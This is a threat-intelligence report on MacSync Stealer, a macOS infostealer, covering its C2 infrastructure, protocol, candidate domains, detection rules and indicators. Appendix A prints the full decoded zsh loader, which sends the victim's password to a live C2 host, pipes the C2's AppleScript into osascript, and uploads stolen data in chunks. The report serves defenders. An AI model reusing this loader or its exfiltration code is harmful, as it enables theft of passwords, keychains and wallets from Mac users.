MacSync Stealer: C2 Infrastructure Rotation
May 8, 2026
On 5 May 2026, an RST Cloud customer’s Jamf Protect blocked a download from jacksonvillemma[.]com. Four days earlier, the operator’s prior MacSync C2 had been publicly disclosed. Twenty-four hours after that disclosure, the new C2’s TLS certificate had been issued. Three days later, the new C2 was attempting to deliver its loader to a managed endpoint in our customer’s estate. The customer reported the domain. RST Cloud retrieved and analysed the Stage 2 sample within an hour, then pivoted on the operator’s URI patterns through any.run TI Lookup to map the rest of the infrastructure.
The picture is broader than a single C2 swap. The static api-key value embedded in the loader binds four confirmed C2 domains across separate buyer infrastructures; the hex build token rotates per deployment, the api-key does not. URI-pattern hunting surfaces eleven additional candidate domains, with submissions stretching back to 19 February 2026, the earliest URI-pattern bound observation RST Cloud has of operator infrastructure in this generation. Several of those candidates have overlapping submission windows, which is consistent with parallel C2 operation rather than sequential rotation between hostnames. And the loader’s argument-handling branch sends the victim’s macOS account password to the C2 in cleartext on the /dynamic URL query string, where any web proxy logging full URIs will record it on disk.

Executive Summary
On 5 May 2026, an RST Cloud customer’s Jamf Protect deployment blocked a download attempt from the domain jacksonvillemma[.]com on a managed macOS endpoint. The customer reported the domain to RST Cloud the same day. Within an hour, RST Cloud threat researchers had captured the Stage 2 sample, confirmed it as a MacSync Stealer sample of the multistage zsh wrapper architecture, and added the domain and supporting indicators to the RST Threat Feed. This report documents the resulting analysis.
The server anchored on jacksonvillemma[.]com was observed against an RST Cloud customer endpoint on 5 May 2026, four days after the SANS Internet Storm Center [1] publicly disclosed the operator’s then-current public C2 (glowmedaesthetics[.]com) on 1 May 2026. The TLS certificate for jacksonvillemma[.]com was issued by Let’s Encrypt on 2 May 2026, observed via the RST Cloud certificate-scan API. Cert issuance therefore occurred approximately 24 hours after the prior C2 was publicly disclosed. The three-day gap between cert issuance and RST observation reflects when the new C2 was encountered in the wild, not operator delay. Subsequent any.run TI Lookup pivoting on the operator’s URI patterns (described in the Discovery section) returned candidate cluster members with overlapping live windows, which is consistent with parallel C2 infrastructure rather than strict sequential rotation between hostnames.
MacSync Stealer is a known macOS infostealer (full lineage and prior reporting in the Background section). What is new in this report:
- The infrastructure anchored on jacksonvillemma[.]com.
- A previously unreported Stage 2 zsh loader sample (SHA-256 2728a7d444cd65550f652a8c66eaced0fe6d0389161f86393ab73da8f446a362).
- The per-build hex token (7980485fb1e0b1b1d6307a92b5750c7055bc53b662005cbaa662ac634984363d) and the api-key value (5190ef1733183a0dc63fb623357f56d6). The api-key has now been observed across four distinct C2 domains in public reporting: focusgroovy[.]com (Rhys Downing, December 2025 [2]), houstongaragedoorinstallers[.]com (Sophos X-Ops, March 2026 [5], cited by CIS CTI), mansfieldpediatrics[.]com (CIS CTI, April 2026 [6]), and jacksonvillemma[.]com (this report).
- A 24-hour gap between public disclosure of the prior C2 (1 May 2026) and issuance of the new C2’s TLS certificate (2 May 2026).
- A candidate C2 cluster of approximately twelve domains spanning February 2026 to May 2026, identified through any.run TI Lookup pivoting on the operator’s URI patterns (/dynamic?txd=, /gate?buildtxd=). Cluster members are URI-pattern bound rather than api-key confirmed; full list and caveats in the Candidate Cluster Members section.
Existing community detections cover this sample without modification: Rhys Downing’s wrapper rule (MAL_OSX_MacSync_Stage2_Wrapper_Dec25) [2] has all string conditions present in the May 2026 wrapper file, Nextron’s MAL_OBFUSC_Shell_Dropper_Dec25 (Valhalla rule feed) covers the obfuscated shell dropper pattern used by the family, and Jamf Protect blocked the download in the observed incident. The C2 protocol triplet (/curl, /dynamic, /gate) and the static api-key header are documented in the December 2025 [2] and April 2026 [6] analyses and are consistent with the SANS ISC sample of 1 May 2026 [1] on independent inspection.
Background and Family Context
MacSync Stealer is a macOS information stealer offered as a malware-as-a-service product, originally branded Mac.c and rebranded as MacSync in September 2025 (Moonlock, 12 September 2025 [4]). The family is documented by Moonlock (July 2025, updated December 2025) [4] and by multiple independent vendor reports (Jamf Threat Labs, December 2025 [3]; Sophos X-Ops, March 2026 [5]; CIS CTI, April 2026 [6]). Public reporting attributes operation to the underground forum alias “mentalpositive”.
Public reporting documents the family’s collection targets. The Mac.c analysis (July 2025, updated December 2025) [4] documents that the malware targets macOS Keychain credentials surfaced through Chromium-based browsers (Chrome, Edge, Brave, Yandex), browser stored data including cookies and IndexedDB stores, and cryptocurrency wallet applications. The April 2026 analysis [6] documents collection targeting more than 80 cryptocurrency-wallet browser extensions and more than 20 desktop wallet applications across the family. The execution pattern that recurs across MacSync samples is an AppleScript-driven collection routine that stages stolen artefacts to /tmp/osalogging.zip before chunked HTTP exfiltration to the operator’s C2.
Distribution evolved across the family. Sophos X-Ops [5] tracks three distinct campaigns: Google malvertising with native MachO binaries (November 2025), shared ChatGPT conversation lures (December 2025), and a multistage Loader-as-a-Service architecture using a zsh wrapper, API key-gated C2 infrastructure, and dynamic AppleScript payloads (February 2026 onward). The December 2025 generation introduced a code-signed and notarised Swift application packaged inside a disk image masquerading as a zk-Call messenger installer [3], which Jamf reported to Apple and which led to the revocation of the Apple Developer Team ID GNJLS3UYZ4. On 1 May 2026, a malvertising-driven ClickFix campaign was documented [1] that impersonated Homebrew through a Google Sites landing page (sites.google[.]com/view/brewpage), pointing victims to a copy-paste script that pulled the Stage 2 loader from glowmedaesthetics[.]com.
Discovery
Initial discovery was through a customer report. On 5 May 2026, an RST Cloud customer’s Jamf Protect deployment blocked a download attempt from jacksonvillemma[.]com against a managed macOS endpoint. The customer reported the domain to RST Cloud the same day. RST Cloud added the domain to the threat feed and began infrastructure analysis. On 6 May 2026, with the customer’s knowledge, RST Cloud researchers retrieved the Stage 2 zsh loader from the C2 path /curl/<token> for static analysis. The retrieval was performed from a research network; the HTTP transaction recorded the Cloudflare CF-RAY identifier 9f75f15078f37e42-SYD and was timestamped 06:31:33 UTC. RST Cloud accepts that this retrieval is visible to the operator in their access logs.
After confirming the loader sample, RST Cloud pivoted on the operator’s URI patterns to identify candidate cluster members. any.run TI Lookup queries on url:”*/dynamic?txd=*” and url:”*/gate?buildtxd=*” surfaced a population of domains hosting URLs with the same protocol shape as the loader analysed in this report. Eleven additional candidate C2 domains were identified, with submission dates spanning 19 February 2026 to 8 May 2026. These candidates are reported as URI-pattern bound (same operator template) rather than api-key confirmed (sample retrieved and the static api-key value 5190ef1733183a0dc63fb623357f56d6 directly observed on each); RST Cloud has not retrieved samples from each candidate to validate the api-key match. The full list and per-domain dates are provided in the Candidate Cluster Members section below.
At the time of writing, the hostname jacksonvillemma[.]com had no prior public reporting, and the loader’s SHA-256 returned no matches in OSINT corpora reviewed during this analysis.
MacSync Technical Analysis

Figure 1. MacSync Stealer infection chain. Stage 1 delivers the zsh loader from the C2 over plain HTTP. Stage 2 decodes a base64 plus gzip payload in memory and runs daemon_function. Stage 3 fetches AppleScript dynamically, executes it via osascript to stage stolen data to /tmp/osalogging.zip, then chunked-uploads the file back to the C2.
Stage 1: HTTP delivery of the zsh loader
The Stage 2 loader is delivered over plain HTTP from the path /curl/<64-character-hex-token>. The HTTP response uses a Content-Disposition header to suggest the filename <token>.daily, and the response body is a zsh script of 1444 bytes. The captured HTTP exchange is reproduced below verbatim:
> GET /curl/7980485f...984363d HTTP/1.1
> Host: jacksonvillemma.com
> User-Agent: curl/8.5.0
> Accept: */*
< HTTP/1.1 200 OK
< Date: Wed, 06 May 2026 06:31:33 GMT
< Content-Type: application/octet-stream
< Content-Length: 1444
< Server: cloudflare
< Content-Disposition: attachment; filename="7980485f...984363d.daily"
< CF-RAY: 9f75f15078f37e42-SYD
The Server: cloudflare header and the CF-RAY trailer confirm Cloudflare CDN intermediation. Cloudflare-allocated IP addresses appear in DNS responses but are not unique to this operator and have been excluded from the IOC list to avoid spurious customer alerting on shared CDN infrastructure.
Stage 2: zsh wrapper with embedded gzip+base64 payload
The downloaded zsh wrapper is structurally identical to the prior MacSync samples documented in the May 2026 [1] and December 2025 [2] reports. It declares a heredoc-bounded base64 payload, decodes it through base64 -D | gunzip (T1140), stores the result in a shell variable, and executes the variable’s contents through eval (T1059.004):
#!/bin/zsh
d4006=$(base64 -D <<'PAYLOAD_m31481370927831' | gunzip
H4sIAIyk+WkAA91WW3ObOBR+9684pcQDzSiACbZzoWlmm5lmOml3kmY2s92OR4...
[truncated]
PAYLOAD_m31481370927831
)
eval "$d4006"
Decoding the payload yields a 2645-byte zsh script. This is approximately the same size as the 2647-byte decoded script published for the glowmedaesthetics[.]com sample on 1 May 2026 [1], which is consistent with use of an identical generator template by the operator with only the C2 hostname, the per-build token and the api-key value substituted. The four-byte size delta in the wrapper file (1444 vs 1448 bytes) is consistent with the substitution of a different domain string and per-build values into the same template before gzip and base64 encoding.
Stage 3: daemon_function and the C2 protocol

Figure 2. C2 protocol sequence. The token is reused across all three endpoints for a build, the api-key value is static, and the User-Agent on the application-layer requests is a truncated Chrome-style WebKit string with the trailing product tokens removed. The Stage 1 download itself uses curl’s default User-Agent.
The decoded payload defines a single function named daemon_function that the wrapper launches as a backgrounded shell job. The function performs three actions: it suppresses standard input, output and error by redirecting them to /dev/null; it issues an HTTP request to /dynamic?txd=<token> on the C2 with a static api-key header and an osascript pipe receiving the response (T1071.001); and once /tmp/osalogging.zip exists on disk, it chunked-uploads the file in 10 MiB pieces to /gate?buildtxd=<token> on the same C2 with the same api-key header.
The function’s argument-handling branch is the password collection mechanism in this loader. When daemon_function is called with one or more arguments (the if [ $# -gt 0 ] branch in Appendix A), it appends &pwd=$1 to the /dynamic?txd= URL, sending the value of $1 to the C2 alongside the build token. The value of $1 is the user’s macOS account password as collected by the Stage 3 AppleScript prompt: the AppleScript displays a credential dialog (the “Enter your system password to continue verification” pattern fingerprinted by the WaterBucket rule [7]), then re-invokes the loader with the password as $1. This is the link between the macOS authentication prompt that follows the ClickFix paste and the cleartext password landing on the C2. The same wrapper structure is documented in the December 2025 analysis (Appendix A) [2], and is consistent with the SANS ISC sample of 1 May 2026 [1] on independent inspection. The mechanism is expected to apply to other samples of this generation. Web proxy logs that capture full URI query strings will record the password in cleartext on the /dynamic request.
The API-key value embedded in the loader is 5190ef1733183a0dc63fb623357f56d6. The hex token used in all three URL paths is 7980485fb1e0b1b1d6307a92b5750c7055bc53b662005cbaa662ac634984363d. The token is not a hash of the loader file itself (the file’s SHA-256 is 2728a7d4…). The token appears in all three endpoint URL paths, identifying them as a single build.
The User-Agent string set by the loader on every C2 request is Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36. Two properties make this a hunt pivot. First, the OS string declares macOS Catalina (10_15_7). By May 2026 this is a five- to six-year-old version of macOS (Catalina major release shipped October 2019; 10.15.7 specifically shipped September 2020) and a small share of current macOS deployments; legitimate Chrome installs report current macOS versions. Second, the string is truncated before the trailing (KHTML, like Gecko) Chrome/<version> Safari/<version> tokens that real Chrome and Safari always include (Chrome WebKit forks ship with AppleWebKit/537.36, Safari uses AppleWebKit/605.x). The December 2025 Swift dropper variant [2] used a fuller Chrome-style UA on its /dynamic and /gate exchanges with the full trailing tokens present (for example, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36); the truncation in the May 2026 zsh wrapper is therefore a generation-specific differentiator on top of the older OS pivot. Detection content keyed on the December 2025 full Chrome UA pattern will miss the May 2026 wrapper. Separately, the UserSyncWorker/1.0 (macOS) UA observed in the December 2025 variant was used only by the Swift downloader on its initial /curl fetch from gatemaden[.]space, a stage that no longer exists in the May 2026 zsh wrapper.
MacSync Exfiltration path
The Stage 3 logic stages collected data in /tmp/osalogging.zip. This is the same artefact name documented across MacSync samples since at least the December 2025 reporting cycle and the WaterBucket YARA rule of 16 December 2025 [7]. The loader splits the zip file into 10 MiB chunks and PUTs each chunk to /gate?buildtxd=<token>&upload_id=<unix-time>-<random-hex>&chunk_index=<i>&total_chunks=<n> (T1041). Up to eight attempts per chunk (one initial plus seven retries) with linear back-off (3 + 2·attempt seconds, ranging from 7 to 19 seconds) are made. On successful upload, the file is removed from disk to limit forensic evidence. This chunked PUT pattern is a generation-specific change versus the December 2025 Swift-dropper variant [2], which used a single multipart POST to /gate with no chunking and no retry loop. Detection content keyed on the December 2025 multipart-POST shape will not match the May 2026 chunked-PUT shape.
The collection routine that produces /tmp/osalogging.zip is not contained in our sample. It is delivered dynamically by the C2 in response to the /dynamic?txd= request and piped directly into osascript. Public reporting of prior MacSync samples documents the AppleScript routine targeting login.keychain-db, browser stored credentials and cryptocurrency wallet extension data (CloudSEK, January 2026 [7]; April 2026 [6]). Defenders should expect the AppleScript content to be retrieved on demand and not present on disk between collection cycles.
MacSync Identifiers summary
| Identifier | Value | Notes |
| C2 domain | jacksonvillemma[.]com | Cloudflare-fronted; customer-reported 5 May 2026, sample retrieved 6 May 2026 |
| Per-build token | 7980485fb1e0b1b1d6307a92b5750c7055bc53b662005cbaa662ac634984363d | Reused across /curl, /dynamic, /gate for this build |
| API key header | 5190ef1733183a0dc63fb623357f56d6 | Static value sent on every C2 request from this build |
| Exfil staging path | /tmp/osalogging.zip | Family-wide artefact name |
| Loader SHA-256 | 2728a7d444cd65550f652a8c66eaced0fe6d0389161f86393ab73da8f446a362 | Stage 2 zsh wrapper, 1444 bytes |
Cross-Generation api-key Fingerprint
The static api-key value 5190ef1733183a0dc63fb623357f56d6 is documented across four distinct C2 domains in public reporting:
- focusgroovy[.]com – the December 2025 analysis [2] publishes the value in its Network IOCs table for the Swift dropper variant.
- houstongaragedoorinstallers[.]com – Sophos X-Ops published the value in their March 2026 analysis [5] of the February 2026 onward ClickFix campaign; the April 2026 [6] blog cites this attribution.
- mansfieldpediatrics[.]com – the April 2026 analysis [6] directly observed the value on this C2 in the MS-ISAC-submitted sample analysed.
- jacksonvillemma[.]com – RST Cloud’s May 2026 analysis documented in this report.
The hex token rotates per build; the api-key does not. The api-key value persists across the four C2 domains above, across separate buyer infrastructures, independent of hostname or build token.
MacSync Candidate Cluster Members
In addition to the four api-key confirmed C2 domains listed above, RST Cloud identified eleven candidate C2 domains via any.run TI Lookup using URL pattern queries on url:”*/dynamic?txd=*” and url:”*/gate?buildtxd=*”. Each candidate hosts a URL whose path matches the operator’s C2 protocol shape, but RST Cloud has not retrieved samples from each domain to confirm that the static api-key value 5190ef1733183a0dc63fb623357f56d6 is also present. The candidates below should be treated as URI-pattern bound only.
| Domain | any.run submission date | Notes |
| pressureulcerlawyer[.]com | 19 February 2026 | Earliest URI-pattern bound observation in this cluster; sits within the February 2026 window Sophos X-Ops [5] identifies for the multistage LaaS generation. |
| lumenagnet[.]com | 10 April 2026 | |
| harveylewisinsuranceagency[.]com | 14 April 2026 | |
| blzaeagent[.]com | 15 April 2026 | |
| helxiagent[.]com | 22 April 2026 | Same submission date as nailscanai[.]com |
| nailscanai[.]com | 22 April 2026 | Same submission date as helxiagent[.]com |
| numericagent[.]com | 27 April 2026 | |
| wechatstablecoin[.]com | 28 April 2026 | |
| glowmedaesthetics[.]com | 2 May 2026 | Confirmed C2 in SANS ISC report [1]; included here for cluster-view completeness |
| lalandscapelighting[.]com | 8 May 2026 | Same submission date as tintingsd[.]com |
| tintingsd[.]com | 8 May 2026 | Same submission date as lalandscapelighting[.]com |
Two analytical observations follow from the dates above. First, pressureulcerlawyer[.]com (19 February 2026) is the earliest cluster member identified through this pivot. It sits within the February 2026 window Sophos X-Ops [5] identifies as the start of the multistage LaaS generation, and represents the earliest URI-pattern bound observation RST Cloud has of operator infrastructure in this generation. Second, multiple domains share submission dates within a small number of days of each other (the 22 April pair, the 8 May pair, three domains within the 27 to 28 April window). Overlapping live windows of this kind are not consistent with strict sequential rotation between hostnames; they are consistent with parallel C2 infrastructure operated by the same actor or by multiple buyers of the same MaaS template.
Defenders consuming the candidate list should weight it accordingly. Blocking these domains carries a low expected false-positive rate given the URI pattern’s specificity, but attribution-grade claims (operator identity, campaign attribution) require api-key confirmation that RST Cloud has not performed for each candidate.
Detection Coverage
The following community-published detections fire on the loader analysed in this report without modification.
- MAL_OSX_MacSync_Stage2_Wrapper_Dec25 by Rhys Downing (22 December 2025). YARA rule keyed on the wrapper’s #!/bin/zsh shebang, the | gunzip pipe, the base64 -D decode call and either the eval pattern or the heredoc PAYLOAD_<id> pattern. All five strings are present in the May 2026 wrapper sample, satisfying the rule’s four conditions.
- MAL_OBFUSC_Shell_Dropper_Dec25 by Nextron Systems (Valhalla rule feed). Family-level YARA rule covering the obfuscated shell dropper pattern used across the MacSync zsh wrapper samples. Rule URL: https://valhalla.nextron-systems.com/info/rule/MAL_OBFUSC_Shell_Dropper_Dec25.
- MacSync_AppleScript_Stealer by WaterBucket (CloudSEK, 16 December 2025) [7]. YARA rule keyed on the Stage 3 AppleScript content. Not directly applicable to the Stage 2 loader; may fire on the AppleScript retrieved from the /dynamic endpoint if captured in flight or in memory and if the current AppleScript retains the rule’s string indicators (RST Cloud has not directly observed the May 2026 Stage 3 content, so this is a working hypothesis).
Coverage across other endpoint security products has not been independently assessed.
Indicators of Compromise
All IOCs in this section are TLP:CLEAR. The loader is exclusively macOS targeted. Cloudflare-allocated IP addresses are excluded from the IOC list because they are shared CDN infrastructure and would generate spurious customer alerts; defenders relying on Cloudflare IPs as standalone IOCs should expect false positives.
Network IOCs
| Type | Value | Confidence |
| Domain | jacksonvillemma[.]com | High |
| URL (Stage 2 download) | http://jacksonvillemma[.]com/curl/7980485fb1e0b1b1d6307a92b5750c7055bc53b662005cbaa662ac634984363d | High |
| URL (C2 beacon) | http://jacksonvillemma[.]com/dynamic?txd=7980485fb1e0b1b1d6307a92b5750c7055bc53b662005cbaa662ac634984363d | High |
| URL (exfiltration) | http://jacksonvillemma[.]com/gate?buildtxd=7980485fb1e0b1b1d6307a92b5750c7055bc53b662005cbaa662ac634984363d | High |
File IOCs
| Type | Value | Notes |
| MD5 | 277acd8e241c1341852ebcd401203ecc | Stage 2 zsh loader, 1444 bytes |
| SHA-1 | 7d28507870e94b809f25883dc9dae838549ddfac | Stage 2 zsh loader, 1444 bytes |
| SHA-256 | 2728a7d444cd65550f652a8c66eaced0fe6d0389161f86393ab73da8f446a362 | Stage 2 zsh loader, 1444 bytes |
| File path | /tmp/osalogging.zip | Stage 3 exfiltration staging artefact (family-wide) |
HTTP request IOCs
| Field | Value |
| api-key header | 5190ef1733183a0dc63fb623357f56d6 |
| Build token | 7980485fb1e0b1b1d6307a92b5750c7055bc53b662005cbaa662ac634984363d |
| User-Agent (loader) | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 |
Defender Recommendations
Recommended actions for security teams responsible for macOS estates:
- Block domain jacksonvillemma[.]com
- Hunt web proxy and DNS logs for the C2 protocol triplet (/curl/<64-hex>, /dynamic with txd=, /gate with buildtxd=) on any hostname.
- Hunt endpoint telemetry for creation of /tmp/osalogging.zip on macOS hosts. The artefact is short-lived (the loader removes it after successful exfiltration) so retrospective hunts on file-creation events are required.
- Hunt for zsh processes invoking base64 -D, gunzip and eval together, and for osascript invocations receiving piped input from a curl (or similar HTTP client) process making outbound HTTP connections. The loader pipes the C2 response from curl directly into osascript: the network socket is held by the curl process and osascript’s stdin is the read end of the pipe, so detection content keyed on osascript with a socket file descriptor will not match.
- Hunt HTTP traffic for the User-Agent string Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36. Two anomalies are present: the declared OS is macOS Catalina (10_15_7); the Catalina major release shipped October 2019 and 10.15.7 specifically shipped September 2020, so by May 2026 this is a five- to six-year-old release that should be rare on current macOS deployments; and the string ends at AppleWebKit/537.36, where legitimate browsers continue with (KHTML, like Gecko) Chrome/<version> Safari/<version>. Either property is a hunt pivot on its own.
- Treat any popup that requests the user’s macOS account password during or shortly after software installation as a high-suspicion event. As described in the Stage 3 analysis above, the AppleScript stage of MacSync uses a credential prompt to harvest the user’s account password, which is exfiltrated cleartext to the C2 via the &pwd= URL parameter on /dynamic. The harvested password also enables access to macOS Keychain credentials.
References
All references were retrieved on or before 7 May 2026.
1. Duncan, B. Malicious Ad for Homebrew Leads to MacSync Stealer. SANS Internet Storm Center, 1 May 2026. https://isc.sans.edu/diary/32942
2. Downing, R. Dissecting a Multi-Stage macOS Infostealer (UserSyncWorker). threatuniverse.co.uk, 23 December 2025. https://blog.threatuniverse.co.uk/posts/usersyncworker-macos-infostealer/
3. Xhaflaire, T. MacSync Stealer Evolves: From ClickFix to Code-Signed Swift Malware. Jamf Threat Labs, 22 December 2025. https://www.jamf.com/blog/macsync-stealer-evolution-code-signed-swift-malware-analysis/
4. MacPaw Moonlock Lab. A new, cheaper Mac stealer is quickly spreading on the dark web (Mac.c analysis). Moonlock, August 2025 (updated December 2025). https://moonlock.com/new-mac-stealer-spreading
5. Chandraiah, J., Jitu, T., Samosseiko, D., Wixey, M. Evil evolution: ClickFix and macOS infostealers. Sophos X-Ops, 11 March 2026. https://www.sophos.com/en-us/blog/evil-evolution-clickfix-and-macos-infostealers
6. Center for Internet Security (CIS CTI). MacSync Stealer Campaign Impacting U.S. SLTT macOS Users. cisecurity.org, April 2026. https://www.cisecurity.org/insights/blog/macsync-stealer-campaign-impacting-us-sltt-macos-users
7. CloudSEK. Inside MacSync’s Script-Driven Stealer and Hardware Wallet App Trojanization. cloudsek.com, January 2026. https://www.cloudsek.com/blog/inside-macsyncs-script-driven-stealer-and-hardware-wallet-app-trojanization
Appendix A: Stage 2 zsh Loader (decoded)
Reproduced verbatim from the SHA-256 2728a7d4…f446a362 sample. The base64+gzip payload defined in the wrapper’s heredoc decodes to this script, which the wrapper executes through eval.
#!/bin/zsh
daemon_function() {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="jacksonvillemma.com"
local token="7980485fb1e0b1b1d6307a92b5750c7055bc53b662005cbaa662ac634984363d"
local api_key="5190ef1733183a0dc63fb623357f56d6"
local file="/tmp/osalogging.zip"
if [ $# -gt 0 ]; then
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
"http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl -k -s --max-time 30 \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
"http://$domain/dynamic?txd=$token" | osascript
fi
if [ $? -ne 0 ]; then
exit 1
fi
if [[ ! -f "$file" || ! -s "$file" ]]; then
return 1
fi
local CHUNK_SIZE=$((10 * 1024 * 1024))
local MAX_RETRIES=8
local upload_id=$(date +%s)-$(openssl rand -hex 8 2>/dev/null || echo $RANDOM$RANDOM)
local total_size
total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
if [[ -z "$total_size" || "$total_size" -eq 0 ]]; then
return 1
fi
local total_chunks=$(( (total_size + CHUNK_SIZE - 1) / CHUNK_SIZE ))
local i=0
while (( i < total_chunks )); do
local offset=$((i * CHUNK_SIZE))
local chunk_size=$CHUNK_SIZE
(( offset + chunk_size > total_size )) && chunk_size=$((total_size - offset))
local success=0
local attempt=1
while (( attempt <= MAX_RETRIES && success == 0 )); do
http_code=$(dd if="$file" bs=1 skip=$offset count=$chunk_size 2>/dev/null | \
curl -k -s -X PUT \
--data-binary @- \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" \
-H "api-key: $api_key" \
--max-time 180 \
-o /dev/null \
-w "%{http_code}" \
"http://$domain/gate?buildtxd=$token&upload_id=$upload_id&chunk_index=$i&total_chunks=$total_chunks" 2>/dev/null)
curl_status=$?
if [[ $curl_status -eq 0 && $http_code -ge 200 && $http_code -lt 300 ]]; then
success=1
else
((attempt++))
sleep $((3 + attempt * 2))
fi
done
if (( success == 0 )); then
return 1
fi
((i++))
done
rm -f "$file"
return 0
}
if daemon_function "$@" & then
exit 0
else
exit 1
fi
By Alexander Gould, RST Cloud CTI Strategist